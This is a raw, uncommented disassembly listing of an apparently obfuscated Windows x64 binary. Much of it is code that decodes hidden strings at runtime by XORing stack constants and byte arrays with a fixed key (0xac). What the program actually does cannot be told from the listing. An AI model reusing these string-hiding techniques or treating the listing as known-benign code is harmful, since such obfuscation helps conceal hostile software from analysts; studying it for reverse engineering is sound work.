lea rdx, [rbp + 0x18e0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x930]
pxor xmm0, xmmword [rbp + 0xa240]
movdqa xmmword [rbp + 0x930], xmm0
lea rdx, [rbp + 0x930]
lea rcx, [rbp + 0x67a0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8820]
lea rcx, [rbp + 0x67c0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5310]
call fcn.7ff7cbf58a40
mov rdx, rax
lea rcx, [0x7ff7cbf93600]
call fcn.7ff7cbf380d4
lea rcx, [rbp + 0x5310]
call fcn.7ff7cbf376b0
movabs rbx, 0x4294963b60b5fcd
mov qword [rbp + 0x18f0], rbx
mov qword [rbp + 0x18f8], r12
lea r8, [rbp + 0x1900]
lea rdx, [rbp + 0x18f0]
lea rcx, [rbp + 0x9b80]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa230], r13
mov qword [rbp + 0x1900], r13
mov qword [rbp + 0xa238], r12
mov qword [rbp + 0x1908], r12
lea r8, [rbp + 0x1910]
lea rdx, [rbp + 0x1900]
lea rcx, [rbp + 0x8410]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x940], rbx
mov qword [rbp + 0x1910], rbx
mov qword [rbp + 0x948], r12
mov qword [rbp + 0x1918], r12
lea r8, [rbp + 0x1920]
lea rdx, [rbp + 0x1910]
lea rcx, [rbp + 0x9b10]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x940]
pxor xmm0, xmmword [rbp + 0xa230]
movdqa xmmword [rbp + 0x940], xmm0
lea rdx, [rbp + 0x940]
lea rcx, [rbp + 0x67e0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8820]
lea rcx, [rbp + 0x6800]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5330]
call fcn.7ff7cbf58a40
mov rdx, rax
lea rcx, [0x7ff7cbf93620]
call fcn.7ff7cbf380d4
lea rcx, [rbp + 0x5330]
call fcn.7ff7cbf376b0
movabs rbx, 0x4294963d20c49c7
mov qword [rbp + 0x1920], rbx
mov qword [rbp + 0x1928], r12
lea r8, [rbp + 0x1930]
lea rdx, [rbp + 0x1920]
lea rcx, [rbp + 0x9c50]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa220], r13
mov qword [rbp + 0x1930], r13
mov qword [rbp + 0xa228], r12
mov qword [rbp + 0x1938], r12
lea r8, [rbp + 0x1940]
lea rdx, [rbp + 0x1930]
lea rcx, [rbp + 0x9bc0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x950], rbx
mov qword [rbp + 0x1940], rbx
mov qword [rbp + 0x958], r12
mov qword [rbp + 0x1948], r12
lea r8, [rbp + 0x1950]
lea rdx, [rbp + 0x1940]
lea rcx, [rbp + 0x9c80]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x950]
pxor xmm0, xmmword [rbp + 0xa220]
movdqa xmmword [rbp + 0x950], xmm0
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0x6820]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8820]
lea rcx, [rbp + 0x6840]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5350]
call fcn.7ff7cbf58a40
mov rdx, rax
lea rcx, [0x7ff7cbf93660]
call fcn.7ff7cbf380d4
lea rcx, [rbp + 0x5350]
call fcn.7ff7cbf376b0
movabs rbx, 0x77482c118d0c49c7
mov qword [rbp + 0x1950], rbx
movabs rax, 0xe1b652f26fbaf7c9
mov qword [rbp + 0x1958], rax
lea r8, [rbp + 0x1960]
lea rdx, [rbp + 0x1950]
lea rcx, [rbp + 0x9c20]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa210], r13
mov qword [rbp + 0x1960], r13
mov qword [rbp + 0xa218], r12
mov qword [rbp + 0x1968], r12
lea r8, [rbp + 0x1970]
lea rdx, [rbp + 0x1960]
lea rcx, [rbp + 0x9c10]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x960], rbx
mov qword [rbp + 0x1970], rbx
movabs rax, 0xe1b652f26fbaf7c9
mov qword [rbp + 0x968], rax
mov qword [rbp + 0x1978], rax
lea r8, [rbp + 0x1980]
lea rdx, [rbp + 0x1970]
lea rcx, [rbp + 0x9c00]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x960]
pxor xmm0, xmmword [rbp + 0xa210]
movdqa xmmword [rbp + 0x960], xmm0
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x6860]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8820]
lea rcx, [rbp + 0x6880]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5370]
call fcn.7ff7cbf58a40
mov rdx, rax
lea rcx, [0x7ff7cbf93680]
call fcn.7ff7cbf380d4
lea rcx, [rbp + 0x5370]
call fcn.7ff7cbf376b0
movabs rbx, 0x4294963b3164dc7
mov qword [rbp + 0x1980], rbx
mov qword [rbp + 0x1988], r12
lea r8, [rbp + 0x1990]
lea rdx, [rbp + 0x1980]
lea rcx, [rbp + 0x9bf0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa200], r13
mov qword [rbp + 0x1990], r13
mov qword [rbp + 0xa208], r12
mov qword [rbp + 0x1998], r12
lea r8, [rbp + 0x19a0]
lea rdx, [rbp + 0x1990]
lea rcx, [rbp + 0x9be0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x970], rbx
mov qword [rbp + 0x19a0], rbx
mov qword [rbp + 0x978], r12
mov qword [rbp + 0x19a8], r12
lea r8, [rbp + 0x19b0]
lea rdx, [rbp + 0x19a0]
lea rcx, [rbp + 0x9bd0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x970]
pxor xmm0, xmmword [rbp + 0xa200]
movdqa xmmword [rbp + 0x970], xmm0
lea rdx, [rbp + 0x970]
lea rcx, [rbp + 0x68a0]
call fcn.7ff7cbf359ec
mov rbx, rax
lea rdx, [rbp + 0x8820]
lea rcx, [rbp + 0x68c0]
call fcn.7ff7cbf359c8
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x5440]
call fcn.7ff7cbf58a40
mov rdx, rax
lea rcx, [0x7ff7cbf936a0]
call fcn.7ff7cbf380d4
lea rcx, [rbp + 0x5440]
call fcn.7ff7cbf376b0
mov qword [rbp + 0x7178], r15
mov byte [rsp + 0x20], r15b
mov ebx, 1
mov r9b, bl
lea r8, [rbp + 0x7140]
lea rdx, [rbp + 0x8820]
lea rcx, [rbp + 0x8c50]
call fcn.7ff7cbf32f20
lea ecx, [rbx + 5]
call fcn.7ff7cbf78368
mov rdx, rax
lea r9, [0x7ff7cbf83eb0]
sub r9, rax
lea r8d, [rbx + 4]
mov cl, byte [r9 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r8, rbx
jne 0x7ff7cbf713bb
mov byte [rax + 5], r15b
mov rdx, rax
lea rcx, [rbp + 0x8c50]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x5480]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rcx, rax
call fcn.7ff7cbf3fb20
mov rdx, rax
lea rcx, [rbp + 0x4a00]
call fcn.7ff7cbf359ec
lea rdx, [rbp + 0x4a00]
lea rcx, [rbp + 0x5460]
call fcn.7ff7cbf5b0c0
mov rcx, rax
call fcn.7ff7cbf3fb20
mov rdx, rax
lea rcx, [rbp + 0x9420]
call fcn.7ff7cbf359ec
lea rcx, [rbp + 0x5460]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x4a00]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x5480]
call fcn.7ff7cbf376b0
lea rdx, [rbp + 0x9420]
lea rcx, [rbp + 0x54a0]
call fcn.7ff7cbf5afc8
mov rdx, rax
lea rcx, [0x7ff7cbf93640]
call fcn.7ff7cbf380d4
lea rcx, [rbp + 0x54a0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x9420]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8c50]
call fcn.7ff7cbf37620
lea rcx, [rbp + 0x8fa0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8820]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8520]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8fc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8a20]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9aa0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9ac0]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a90]
call fcn.7ff7cbf376b0
mov rcx, qword [rbp + 0x9a60]
call fcn.7ff7cbf376b0
mov rcx, rdi
call fcn.7ff7cbf376b0
lea rcx, [0x7ff7cbf93620]
call fcn.7ff7cbf4e858
test al, al
je 0x7ff7cbf71670
movabs rbx, 0x655f270af23f05fe
mov qword [rbp + 0x2af0], rbx
movabs rdi, 0x88c437814fdef0ca
mov qword [rbp + 0x2af8], rdi
movabs rax, 0x5619a21fdc8e7b96
mov qword [rbp + 0x2b00], rax
mov qword [rbp + 0x2b08], r14
lea r8, [rbp + 0x2b10]
lea rdx, [rbp + 0x2af0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xabc0], r13
mov qword [rbp + 0x2b10], r13
mov qword [rbp + 0xabc8], r12
mov qword [rbp + 0x2b18], r12
mov qword [rbp + 0xabd0], rsi
mov qword [rbp + 0x2b20], rsi
mov qword [rbp + 0xabd8], r14
mov qword [rbp + 0x2b28], r14
lea r8, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b10]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x1130], rbx
mov qword [rbp + 0x2b30], rbx
mov qword [rbp + 0x1138], rdi
mov qword [rbp + 0x2b38], rdi
movabs rbx, 0x5619a21fdc8e7b96
mov qword [rbp + 0x1140], rbx
mov qword [rbp + 0x2b40], rbx
mov qword [rbp + 0x1148], r14
mov qword [rbp + 0x2b48], r14
lea r8, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b30]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1130]
pxor xmm0, xmmword [rbp + 0xabc0]
movdqa xmmword [rbp + 0x1130], xmm0
movdqa xmm1, xmmword [rbp + 0x1140]
pxor xmm1, xmmword [rbp + 0xabd0]
movdqa xmmword [rbp + 0x1140], xmm1
lea rcx, [rbp + 0x1130]
jmp 0x7ff7cbf717ce
lea rdx, [0x7ff7cbf93280]
lea rcx, [0x7ff7cbf93620]
call fcn.7ff7cbf2aae4
test al, al
je 0x7ff7cbf717eb
movabs rbx, 0x655f270af23f05fe
mov qword [rbp + 0x2b50], rbx
movabs rax, 0x88c437814fdef0ca
mov qword [rbp + 0x2b58], rax
movabs rax, 0x5619a21fdd8e7b96
mov qword [rbp + 0x2b60], rax
mov qword [rbp + 0x2b68], r14
lea r8, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b50]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xaba0], r13
mov qword [rbp + 0x2b70], r13
mov qword [rbp + 0xaba8], r12
mov qword [rbp + 0x2b78], r12
mov qword [rbp + 0xabb0], rsi
mov qword [rbp + 0x2b80], rsi
mov qword [rbp + 0xabb8], r14
mov qword [rbp + 0x2b88], r14
lea r8, [rbp + 0x2b90]
lea rdx, [rbp + 0x2b70]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0x1150], rbx
mov qword [rbp + 0x2b90], rbx
movabs rbx, 0x88c437814fdef0ca
mov qword [rbp + 0x1158], rbx
mov qword [rbp + 0x2b98], rbx
movabs rbx, 0x5619a21fdd8e7b96
mov qword [rbp + 0x1160], rbx
mov qword [rbp + 0x2ba0], rbx
mov qword [rbp + 0x1168], r14
mov qword [rbp + 0x2ba8], r14
lea r8, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1150]
pxor xmm0, xmmword [rbp + 0xaba0]
movdqa xmmword [rbp + 0x1150], xmm0
movdqa xmm1, xmmword [rbp + 0x1160]
pxor xmm1, xmmword [rbp + 0xabb0]
movdqa xmmword [rbp + 0x1160], xmm1
lea rcx, [rbp + 0x1150]
call fcn.7ff7cbf63d9c
lea rcx, [rbp + 0x8cc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ce0]
jmp 0x7ff7cbf75043
lea rdx, [0x7ff7cbf83df0]
lea rcx, [rbp + 0x8400]
call fcn.7ff7cbf2abc0
mov dword [rsp + 0x28], r15d
mov byte [rsp + 0x20], r15b
mov r9b, 0x20
or r8d, 0xffffffff
lea rdx, [rbp + 0x54e0]
mov rcx, rax
call fcn.7ff7cbf4d938
mov rdx, rax
lea rcx, [rbp + 0x54c0]
call fcn.7ff7cbf5afc8
mov rcx, rax
lea rdx, [0x7ff7cbf94668]
call fcn.7ff7cbf2ab20
mov bl, al
lea rcx, [rbp + 0x54c0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x54e0]
call fcn.7ff7cbf376b0
test bl, bl
je 0x7ff7cbf718a7
lea rdx, [0x7ff7cbf94668]
lea rcx, [rbp + 0x68e0]
call fcn.7ff7cbf359ec
mov rdi, rax
lea rdx, [rbp + 0x89a0]
lea rcx, [rbp + 0x6900]
call fcn.7ff7cbf359c8
mov rbx, rax
lea rdx, [rbp + 0x88f8]
lea rcx, [rbp + 0x6920]
call fcn.7ff7cbf359c8
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf5a894
mov edi, 1
mov byte [0x7ff7cbf9469e], dil
mov byte [0x7ff7cbf931d5], r15b
lea rcx, [rbp + 0x8cc0]
call fcn.7ff7cbf376b0
lea rcx, [rbp + 0x8ce0]
call fcn.7ff7cbf376b0
call fcn.7ff7cbeff408
cmp byte [0x7ff7cbf9469e], r15b
je 0x7ff7cbf738d2
mov byte [0x7ff7cbf9469f], r15b
lea rcx, [0x7ff7cbf93420]
call fcn.7ff7cbf3fb20
mov rbx, rax
mov ecx, 7
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84384]
sub r8, rax
mov r9d, 6
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf71917
mov byte [rax + 6], r15b
lea r9, [0x7ff7cbf93860]
mov r8, rbx
mov rdx, rax
lea rcx, [0x7ff7cbf94e60]
call fcn.7ff7cbf0fbb8
movss xmm2, dword [0x7ff7cbf85e9c]
movss xmm1, dword [0x7ff7cbf7eaa8]
lea rcx, [rbp + 0x3608]
call fcn.7ff7cbf365e4
mov rcx, rax
xor edx, edx
call fcn.7ff7cbf0ada8
movaps xmm0, xmm7
call fcn.7ff7cbf0ad4c
cmp byte [0x7ff7cbf93960], r15b
je 0x7ff7cbf719c6
lea rcx, [0x7ff7cbf93600]
call fcn.7ff7cbf4e858
test al, al
jne 0x7ff7cbf75515
lea rcx, [0x7ff7cbf93620]
call fcn.7ff7cbf4e858
test al, al
jne 0x7ff7cbf753d7
lea rdx, [0x7ff7cbf93280]
lea rcx, [0x7ff7cbf93620]
call fcn.7ff7cbf2aae4
test al, al
jne 0x7ff7cbf75299
mov byte [0x7ff7cbf93960], r15b
mov r8d, dword [0x7ff7cbf946a4]
lea rdx, [0x7ff7cbf9469e]
lea rcx, [0x7ff7cbf94e60]
call fcn.7ff7cbef4b30
test al, al
je 0x7ff7cbf738d2
mov ebx, 9
mov ecx, ebx
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf843d8]
sub r8, rax
lea r9d, [rbx - 1]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf71a05
mov byte [rax + 8], r15b
mov edx, 0x400
mov rcx, rax
call fcn.7ff7cbf20cd0
test al, al
je 0x7ff7cbf738cd
mov ecx, 6
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83eb0]
sub r8, rax
mov r9d, 5
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf71a4c
mov byte [rax + 5], r15b
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.7ff7cbf21090
test al, al
je 0x7ff7cbf7224a
mov ecx, 0xa
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf83e58]
sub r8, rax
mov r9, rbx
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf71a90
mov byte [rax + 9], r15b
mov rdx, rax
lea rcx, [0x7ff7cbf93400]
call fcn.7ff7cbf2ab20
test al, al
je 0x7ff7cbf71ae6
lea rcx, [0x7ff7cbf934e0]
call fcn.7ff7cbf4e858
test al, al
jne 0x7ff7cbf71ae6
call fcn.7ff7cbf26308
lea rcx, [0x7ff7cbf934e0]
call fcn.7ff7cbf3fb20
mov rcx, rax
call fcn.7ff7cbf28d0c
call fcn.7ff7cbf26308
mov ecx, dword [0x7ff7cbf951c0]
mov rax, qword gs:[0x58]
mov edx, 4
mov rcx, qword [rax + rcx*8]
mov eax, dword [rdx + rcx]
cmp dword [0x7ff7cbf94f78], eax
jg 0x7ff7cbf779dd
cmp byte [0x7ff7cbf94f7c], r15b
jne 0x7ff7cbf71c72
mov qword [rbp + 0x71b8], r15
mov byte [rsp + 0x20], r15b
mov r9b, dil
lea r8, [rbp + 0x7180]
lea rdx, [0x7ff7cbf93640]
lea rcx, [rbp + 0x8c80]
call fcn.7ff7cbf32f20
mov rdi, qword [0x7ff7cbf94af0]
mov rax, qword [0x7ff7cbf94af8]
cmp rdi, rax
je 0x7ff7cbf71c5a
mov r12, rax
mov rax, rdi
lea rcx, [rbp + 0x9760]
mov edx, 2
lea r8d, [rdx + 0x7e]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x7ff7cbf71b70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov eax, dword [rax + 0x30]
mov dword [rcx + 0x30], eax
lea rdx, [rbp + 0x9764]
lea rcx, [rbp + 0x4a20]
call fcn.7ff7cbf359ec
lea rdx, [rbp + 0x4a20]
lea rcx, [rbp + 0x8c80]
call fcn.7ff7cbf500e4
mov ebx, eax
lea rcx, [rbp + 0x4a20]
call fcn.7ff7cbf376b0
test ebx, ebx
je 0x7ff7cbf71c40
lea rdx, [rbp + 0x97c7]
lea rcx, [rbp + 0x4a40]
call fcn.7ff7cbf359ec
lea rdx, [rbp + 0x4a40]
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf5a850
lea rcx, [rbp + 0x4a40]
call fcn.7ff7cbf376b0
add rdi, 0x134
cmp rdi, r12
jne 0x7ff7cbf71b5d
movabs r12, 0xe1b652f26fba99a6
mov edi, 1
mov byte [0x7ff7cbf94f7c], dil
lea rcx, [rbp + 0x8c80]
call fcn.7ff7cbf37620
mov ecx, 0x1a
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf843e8]
sub r8, rax
mov r9d, 0x19
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rdi
sub r9, rdi
jne 0x7ff7cbf71c8f
mov byte [rax + 0x19], r15b
xor r8d, r8d
lea rbx, [0x7ff7cbf93970]
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf20698
test al, al
je 0x7ff7cbf71dc1
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf62008
test rax, rax
je 0x7ff7cbf71dbc
mov rdi, r15
mov r13d, r15d
lea r14, [0x7ff7cbf93970]
mov rdx, rdi
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf383c4
mov rcx, rax
call fcn.7ff7cbf3fb20
mov qword [rsp + 0x68], rax
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rbp + 0x3610]
call fcn.7ff7cbf365e4
mov rbx, rax
mov rdx, rdi
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf383c4
mov rcx, rax
call fcn.7ff7cbf3fb20
cmp r14, qword [rsp + 0x68]
sete dl
mov r9, rbx
xor r8d, r8d
mov rcx, rax
call fcn.7ff7cbf25e10
test al, al
je 0x7ff7cbf71d75
mov rdx, rdi
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf383c4
mov rcx, rax
call fcn.7ff7cbf3fb20
mov rdx, r14
sub rdx, rax
mov ebx, 1
mov cl, byte [rax]
mov byte [rax + rdx], cl
add rax, rbx
test cl, cl
jne 0x7ff7cbf71d67
jmp 0x7ff7cbf71d7a
mov ebx, 1
cmp r14, qword [rsp + 0x68]
jne 0x7ff7cbf71d86
call fcn.7ff7cbf0ac0c
add r13d, ebx
movsxd rdi, r13d
lea rcx, [0x7ff7cbf94f60]
call fcn.7ff7cbf62008
cmp rdi, rax
jb 0x7ff7cbf71ce3
movabs r13, 0x4294963d26228a5
movabs r14, 0x83b338e8db4129c8
lea rbx, [0x7ff7cbf93970]
call fcn.7ff7cbf222e8
call fcn.7ff7cbf26308
mov rdi, qword [0x7ff7cbf94af0]
mov rax, qword [0x7ff7cbf94af8]
mov qword [rbp + 0x9ab0], rax
cmp rdi, rax
je 0x7ff7cbf72240
mov rax, rdi
lea rcx, [rbp + 0x94e0]
mov edx, 2
lea r8d, [rdx + 0x7e]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x7ff7cbf71df7
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
mov eax, dword [rax + 0x30]
mov dword [rcx + 0x30], eax
lea rax, [rbp + 0x9547]
mov r8, rbx
sub r8, rax
lea ebx, [rdx + 1]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x7ff7cbf71e80
add rax, rbx
test ecx, ecx
jne 0x7ff7cbf71e6d
test edx, edx
jne 0x7ff7cbf72225
lea ecx, [rdx + 0xc]
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84408]
sub r8, rax
mov r9d, 0xb
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf71ea3
mov byte [rax + 0xb], r15b
mov edx, dword [rbp + 0x94e0]
mov rcx, rax
call fcn.7ff7cbf28d0c
mov ecx, 0xe
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84418]
sub r8, rax
mov r9d, 0xd
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf71ee3
mov byte [rax + 0xd], r15b
lea rdx, [rbp + 0x9547]
mov rcx, rax
call fcn.7ff7cbf28d0c
mov ecx, 0x10
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84428]
sub r8, rax
mov r9d, 0xf
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf71f24
mov byte [rax + 0xf], r15b
lea rdx, [rbp + 0x95aa]
mov rcx, rax
call fcn.7ff7cbf28d0c
mov ecx, 0x11
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84438]
sub r8, rax
mov r9d, 0x10
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf71f65
mov byte [rax + 0x10], r15b
mov edx, dword [rbp + 0x9610]
mov rcx, rax
call fcn.7ff7cbf28d0c
movaps xmm2, xmm6
movss xmm1, dword [0x7ff7cbf85ea0]
lea rcx, [rbp + 0x3618]
call fcn.7ff7cbf365e4
mov rbx, rax
mov ecx, 5
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf8444c]
sub r8, rax
mov esi, 1
lea r9d, [rsi + 3]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rsi
sub r9, rsi
jne 0x7ff7cbf71fc2
movabs rsi, 0x5c378c31ecae17f7
mov byte [rax + 4], r15b
mov rdx, rbx
mov rcx, rax
call fcn.7ff7cbf21118
test al, al
je 0x7ff7cbf72225
lea rdx, [0x7ff7cbf83ec0]
lea rcx, [0x7ff7cbf936a0]
call fcn.7ff7cbf2aaa8
test al, al
je 0x7ff7cbf756ea
mov ecx, 7
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf84454]
sub r8, rax
mov ebx, 1
lea r9d, [rbx + 5]
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf7202f
mov byte [rax + 6], r15b
lea rcx, [rbp + 0x95aa]
sub rax, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x7ff7cbf72062
add rcx, rbx
test edx, edx
jne 0x7ff7cbf7204e
test r8d, r8d
je 0x7ff7cbf756ea
mov ecx, 7
call fcn.7ff7cbf78368
mov rdx, rax
lea r8, [0x7ff7cbf8445c]
sub r8, rax
mov r9d, 6
mov cl, byte [r8 + rdx]
xor cl, 0xac
mov byte [rdx], cl
add rdx, rbx
sub r9, rbx
jne 0x7ff7cbf72088
mov byte [rax + 6], r15b
lea rcx, [rbp + 0x95aa]
sub rax, rcx
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x7ff7cbf720bb
add rcx, rbx
test edx, edx
jne 0x7ff7cbf720a7
test r8d, r8d
je 0x7ff7cbf756ea
movabs rax, 0x245a2043b70f49c2
mov qword [rbp + 0x2bb0], rax
movabs rax, 0x88da3c9d4fcef6c8
mov qword [rbp + 0x2bb8], rax
movabs rax, 0x5c378c31ecae7299
mov qword [rbp + 0x2bc0], rax
mov qword [rbp + 0x2bc8], r14
lea r8, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bb0]
lea rcx, [rbp + 0x9a70]
call fcn.7ff7cbf35cf8
mov qword [rbp + 0xa9c0], r13
mov qword [rbp + 0x2bd0], r13
mov qword [rbp + 0xa9c8], r12
mov qword [rbp + 0x2bd8], r12
mov qword [rbp + 0xa9d0], rsi
mov qword [rbp + 0x2be0], rsi
mov qword [rbp + 0xa9d8], r14
mov qword [rbp + 0x2be8], r14
lea r8, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2bd0]
lea rcx, [rbp + 0x9ad0]
call fcn.7ff7cbf35cf8
movabs rax, 0x245a2043b70f49c2
mov qword [rbp + 0x1170], rax
mov qword [rbp + 0x2bf0], rax
movabs rax, 0x88da3c9d4fcef6c8
mov qword [rbp + 0x1178], rax
mov qword [rbp + 0x2bf8], rax
movabs rax, 0x5c378c31ecae7299
mov qword [rbp + 0x1180], rax
mov qword [rbp + 0x2c00], rax
mov qword [rbp + 0x1188], r14
mov qword [rbp + 0x2c08], r14
lea r8, [rbp + 0x2c10]
lea rdx, [rbp + 0x2bf0]
lea rcx, [rbp + 0x83e0]
call fcn.7ff7cbf35cf8
movdqa xmm0, xmmword [rbp + 0x1170]
pxor xmm0, xmmword [rbp + 0xa9c0]
movdqa xmmword [rbp + 0x1170], xmm0
movdqa xmm1, xmmword [rbp + 0x1180]
pxor xmm1, xmmword [rbp + 0xa9d0]
